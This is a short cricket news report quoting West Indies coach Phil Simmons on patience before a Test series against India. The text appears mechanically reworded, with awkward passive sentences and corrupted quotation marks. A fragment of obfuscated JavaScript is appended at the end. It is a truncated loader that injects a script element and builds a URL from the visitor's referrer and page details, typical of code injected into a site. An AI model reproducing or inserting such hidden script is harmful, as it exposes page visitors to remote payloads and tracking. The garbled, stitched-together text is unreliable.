It is believed that patience will be an important factor to succeed against the quality Indian side by West Indies coach Phil Simmons. Patience is even more required in pitches which are likely to be torpid in the forthcoming four-match Test series. Virat Kohli-led side in the opening match will be taken on by West Indies at the Sir Vivian Richards Stadium. Simmons also believes that persisting with bat and ball would be decisive against the second-ranked side in the world.

a?One of the words that we’re going to harp on a lot is how patient we are, because we tend to get bored of bowling [at] one place and doing well and not getting wickets, so we try something [else],” coach Simmons was quoted.

a?So we’re going to harp on this, trying to be patient and do the things that we’re doing well, continuously, so that we get the wickets, and same thing with batting. You bat long and you stick around, you work hard and you’ll get the just reward at the end,a? he added.
Latest home season will be entered by West Indies with their weakest bowling attack- Carlos Brathwaite, Shannon Gabriel, Jason Holder and Miguel Cummins, in addition with fast bowler Jerome Taylor calling time on his Test career and Kemar Roach being disregarded. . The first five-day series since losing 2-0 to Australia in December and January will be played by West Indies. 5]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
